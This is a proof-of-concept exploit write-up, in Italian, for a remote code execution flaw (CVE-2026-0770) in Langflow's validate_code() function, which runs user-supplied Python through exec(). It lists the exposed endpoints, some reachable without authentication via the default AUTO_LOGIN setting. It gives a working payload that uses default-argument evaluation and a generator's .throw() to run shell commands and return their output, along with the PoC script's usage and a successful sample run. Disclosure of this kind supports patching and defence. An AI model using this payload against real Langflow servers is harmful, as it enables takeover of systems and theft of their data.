
Proof of Concept per CVE-2026-0770 - Esecuzione di codice remoto in Langflow
Langflow contiene una vulnerabilità critica di esecuzione di codice remoto nella funzione validate_code() situata in src/lfx/src/lfx/custom/validate.py. La funzione utilizza exec() per eseguire codice Python fornito dall'utente senza sandboxing, consentendo l'esecuzione arbitraria di comandi sul server.
Vulnerabilità simili sono state identificate in funzioni ed endpoint correlati:
La funzione validate_code() analizza il codice fornito dall'utente ed esegue le definizioni di funzioni utilizzando exec():
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- Esecuzione di codice arbitrario
Il contesto exec_globals include l'accesso a importlib e ai builtin di Python, consentendo agli aggressori di importare moduli pericolosi (os, subprocess, socket) ed eseguire comandi di sistema arbitrari.
| Endpoint | Autenticazione | Vettore di attacco |
|---|---|---|
POST /api/v1/validate/code | Richiesta* | Invio diretto di codice |
POST /api/v1/custom_component | Richiesta* | Codice nella definizione del componente |
POST /api/v1/custom_component/update | Richiesta* | Codice nell'aggiornamento del componente |
POST /api/v1/webhook/{flow_id} | Nessuna | Flusso con componenti di codice |
POST /api/v1/build_public_tmp/{flow_id}/flow | Nessuna | Esecuzione di flusso pubblico |
* L'autenticazione può essere aggirata quando AUTO_LOGIN=true (configurazione predefinita)
Anche le seguenti funzioni in validate.py utilizzano exec() in modo non sicuro:
| Funzione | Riga | Descrizione |
|---|---|---|
validate_code() | 66 | Valida il codice utente |
eval_function() | 140 | Valuta stringhe di funzioni |
execute_function() | 182 | Esegue funzioni arbitrarie |
create_function() | 227 | Crea funzioni dal codice |
create_class() | 241-442 | Crea classi tramite prepare_global_scope() e build_class_constructor() |
throw()La funzione validate_code() esegue solo le definizioni di funzioni, non le chiamate. Per ottenere l'esecuzione di codice con esfiltrazione dell'output, sfruttiamo l'ordine di valutazione di Python per gli argomenti predefiniti.
Concetto chiave: Le espressioni degli argomenti predefiniti vengono valutate al momento della definizione della funzione, non quando la funzione viene chiamata.
def foo(x=print("I execute immediately")):
pass
Tuttavia, dobbiamo esfiltrare l'output attraverso la risposta HTTP. L'endpoint restituisce gli errori nel corpo della risposta, quindi dobbiamo sollevare un'eccezione contenente il nostro output.
Problema: raise è un'istruzione, non un'espressione, quindi non può essere usato direttamente in un argomento predefinito.
Soluzione: Utilizzare il metodo .throw() di un generatore, che solleva un'eccezione ed È un'espressione:
(_ for _ in ()).throw(Exception("output here"))
Questo crea un generatore vuoto e solleva immediatamente un'eccezione. Combinato con una lambda per catturare l'output del comando:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
Flusso di esecuzione:
exec() esegue la definizione della funzione_=... viene valutato immediatamentesubprocess.run() esegue il comando.throw() del generatorevalidate_code() la cattura e restituisce l'errore nella rispostapython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| Flag | Descrizione |
|---|---|
-t, --target | URL del target (obbligatorio) |
-c, --command | Comando da eseguire (predefinito: id && whoami) |
-k, --token | Token JWT (opzionale, utilizza l'auto-login per impostazione predefinita) |
[*] Target: http://localhost:7860
[*] Tentativo di auto-login (configurazione predefinita)...
[+] Auto-login riuscito!
[*] Esecuzione di: id && whoami && hostname
[+] Stato: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py